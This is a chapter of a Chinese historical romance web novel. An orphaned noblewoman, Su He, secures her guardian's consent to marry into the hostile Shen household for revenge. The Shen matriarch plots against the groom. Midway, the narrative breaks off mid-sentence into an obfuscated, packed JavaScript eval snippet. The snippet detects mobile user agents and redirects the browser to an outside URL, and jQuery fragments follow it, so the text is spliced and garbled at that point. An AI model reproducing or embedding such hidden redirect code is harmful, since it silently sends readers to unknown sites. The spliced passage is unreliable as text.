是夜，萧府书房。


    “真决定好了吗，不论那是龙潭虎穴，都要去？若你肯放弃进入沈家，放弃复仇，我可以将你记入夫人名下，做我萧启真正的女儿，未来为你寻门好婚事，以嫡女身份风风光光出嫁，也不枉你父亲于我的恩情。你回去再考虑考虑吧，明日给我回复即可。”


    苏禾缓缓地撩衣跪地。


    “叔父，在我十四年的生命里，前些年在父亲母亲的爱切下长大，骤逢巨变后便是依托于您的庇佑侥幸存活。是您给了我安身立命之所，给了我一个可以生活在阳光下的身份，您于我而言早已不止是叔父了。”


    “我原可以有更好的办法让您应了这桩婚事，但我没办法骗您。从整个王府覆灭那日起，我便没有未来了，我的人生是偷来的。”


    苏禾拜伏于地，眼泪夺眶而出。


    “还望叔父准许。”


    看着地上跪着那道身影，萧启何尝不是希望苏禾能走出来，开始一段新的人生。一想起要推她进火坑，他终是不忍开口。


    不忍同意，不忍拒绝。


    萧启注视了她良久，挥了挥手就转过了身不再看她。


    看着萧启的背影一下佝偻下来，好似更苍老了几分，苏禾知道萧启默认了，可…以这样的方式逼迫真心疼爱她的人，苏禾心怀愧疚。


    云渺看见苏禾轻轻关上了房门，转过身眼眶通红，赶忙上前搀扶，一肚子的话败于嘴笨，无从安慰起。


    “姑娘，夜间凉，我们回吧。”云渺将备好的披风给苏禾披上，扶着苏禾回转。


    一路寂静无声，廊下灯火初上，将主仆二人的影子拉得细长。


    萧启透过那明灭的烛光看着苏禾身影消失在门外，恍惚间记起了曾经那位少年。


    世人皆知他礼部侍郎萧启年仅二十二岁便已进士及第，以最年轻的状元之身入主翰林院修撰，又因所编撰书目中对科举制度、外交政策的独到见解而为先皇赏识，未经朝考便被分入礼部，跨越正六品主事，以从五品员外郎官职做起。时至今日，已升至从二品礼部左侍郎。


    可无人知晓他险些连书都没钱读，皆因一人才有今日的成就。


    “去去去，哪来的穷鬼，没钱来读什么书，这是你能看得懂的吗？”


    正当他想与店家商议抄书抵账而被看不起推出门外时，身后一个声音传来。


    “看不起谁呢，小爷我给他付了。”


    十四岁的萧启拿着借来的书跟着那位意气风发的少年，琢磨着要如何才能还钱时，那少年似是已看出他的窘迫，率先开口：“我也不是无条件帮你的，我看你通身书生气，可是也要参加童试？”


    萧启不知这问何意，只小声答了声“是”。


    “小爷我也想参加童试，我与你一切学习所需，你只需将你所学知识整理成详细资料誊抄给我，便算抵了。”


    后来萧启再未曾见过那个少年，只每隔一段时日与那少年派来的仆从交换那些笔记，他也从那仆从处得知了那少年姓苏。


    这一坚持便是八年，他通过了童试、乡试、会试，萧启每次都会留意榜上可有姓苏之人，都未找到。直到他参加殿试，又一次看见了那个一直记在心中的身影，原来他竟是皇子，原来他并不需要科举。


    “苏兄，启宁郡主真的很像你，一样的聪颖、坚韧。”


    “殿下，你托付的人，我只能护她至此。你可会怪我？”


    婚事终于顺利敲定下来，苏禾安安稳稳在偏院待嫁，一针一线缝制自己的嫁衣。


    想来这一生应也只有这一次出嫁的机会，不管是以什么缘由，嫁的是何人，那终究是走了三书六礼的婚姻。


    苏禾有些走神地想起，王府出事前一日她还在与阿娘撒娇地称不想学绣花，不想早早嫁人。仅半年，就在这样的境况中缝制嫁衣，等待出嫁。


    苏禾有些茫然无措，这条路是对的吗？


    半晌，眼神又渐渐坚定。她别无选择，只能以身入局。


    云渺的提醒打断了她的回忆，“姑娘，夫人来了。”


    苏禾赶忙放下绣了一半的嫁衣，起身将李氏迎进门来。来萧府这么久，这还是李氏第一次踏进这偏院。


    李氏看着这屋中简陋的陈设，眼神幽深。萧启虽是将苏禾接回，可也不方便来女子闺房，而她却因心怀芥蒂被那恶仆欺上瞒下，将这孩子忽略至此。


    李氏眼神逐渐温和，“我虽不知你为何一定要入沈家，但你既是萧家女，自不能被人欺负了去。我知老爷心中没有我，但他也给了我应有的尊重，上一辈的恩恩怨怨却与你无关，我会为你置办一份体面的嫁妆，叫你在那沈家也能抬起头来。”


    李氏拿出一支紫檀木匣，推给苏禾，“我嫁入萧家二十余年，从未苛待过谁，这是给你的添妆。”


    苏禾轻轻打开那个匣子，拿出里面的东西，是一副赤金头面，下面压着一叠银票，细数有两千两，还有几处田亩地契，合计三百亩。


    李氏瞧着苏禾的表情，一时有些慌乱，“哎，你别哭，我不是为你，是为萧家的脸面。既做了这个主母，便不能让外头议论我萧家刻薄子女。”


    苏禾破涕为笑，这个捡来的母亲，真是心口不一，“谢谢母亲。”


    “你去那萧家也不必做小伏低，我萧家再不济也不至于叫你受委屈。若你受欺负了，便回来，可晓得？”


    “是，母亲。”


    苏禾看着李氏身边丫鬟好似换了一个陌生面孔，多嘴问了一句：“母亲，琦梅呢？”


    提起此事，李氏一脸怒意，“我不知她竟欺上瞒下，一直苛待于你，她已叫我发卖了。”


    闻言苏禾心中一动，未再开口，恭顺将李氏送出门去。


    此时的沈府。


    章氏攥着萧家回帖的嫁妆单子，一气之下将茶盏摔了粉碎。


    “好一个礼部侍郎府！区区一个外室女，按嫡女规格预备嫁妆，这萧家是要给我沈家下马威不成？”


    张嬷嬷忙招呼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061652|194188||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    候在门外的丫鬟收拾碎片，又重新递上茶盏：“夫人息怒。依老奴看，这反倒是好事。”


    “好事？”


    张嬷嬷靠近李氏一步，声音压低：“正是。萧家这般看重这姑娘，若她嫁进来二公子待她不好，萧家第一个不依。可咱们那位二公子是什么性子？冷心冷情的，怕是新婚夜都能让人独守空房。届时那萧姑娘受了委屈，回娘家一哭诉，萧家与二公子的梁子，不就结下了？”


    章氏神色稍缓：“你是说……”


    “借刀杀人。”张嬷嬷眼中闪过精光，“既然二公子握着咱们的把柄，咱们不便出手，那就让萧家去对付他。等他们斗得两败俱伤，夫人再出面收拾残局，岂不干净？”


    章氏思量着还是有些不安：“可若是那狼崽子真就善待那外室女，这萧家岂不成了他的后盾？”


    “夫人，你想想那日宴席的场景，这萧姑娘这样怯生生的，嫁进来后搓圆捏扁还不是由着夫人？若两人当真恩爱，那夫人只需捏住这位外室女，不也相当于抓住了二公子的把柄？”


    想起那日宴席上萧婉的模样，章氏倒真放下了心去。


    章氏端起茶盏抿了一口，茶是上好的雨前龙井，清香沁脾，“你说得对！不仅不能拦，还得把这场婚事办得风风光光。去，传我的话，就说二公子大婚，一切按嫡子的规格操办。席面摆六十桌，请最好的戏班子，婚房按正院的例重新布置。”


    张嬷嬷会意：“老奴明白！”


    沈珩站在雅溪苑门外，这是他母亲生前的住处，她去世后，这里便一直空着。


    章氏说要重新布置喜房，风光操办，点名将这处院子分给了他。美其名曰“景致秀丽”，其实不过是想用母亲的死恶心他。


    喻成从院中出来，“主子，里头都收拾妥了。”


    沈珩迈进院中。十年未入，不是不想，而是不敢。这里的一草一木都还是旧时的模样。母亲亲手种的那丛湘妃竹，已高过屋檐。


    他走到廊下，推开正房的门。屋内陈设如旧，连母亲用过的妆奁都还摆在镜前。灰尘被仔细拭去，红绸还未挂上，一室寂寥。


    走到妆奁前，打开底层的抽屉，里面空空如也。


    母亲曾经的东西，早在母亲去世后被章氏以“整理遗物”为名搜刮一空。只剩这院子，因着母亲死不瞑目，众人恐慌，才空置在此，无人再住。


    他从怀中取出那套红宝石头面，这是母亲临终前一日偷偷塞给他的，藏在枕芯里，避过了章氏的眼睛。如今想来，那是母亲少有的清醒时候，那时母亲就已决定不要他了。


    头面是赤金累丝镶嵌鸽血红宝石的款式，工艺精湛，也不知一直被禁足的母亲是怎样寻着这套贵重的头面。


    沈珩对着空无一人的正房轻声说，“母亲，儿子要娶妻了。”


    无人应答，只有竹声沙沙作响。


    他将头面放回妆奁，合上抽屉，走到窗边，将雅溪苑尽收眼底。


    沈珩忽然很期待。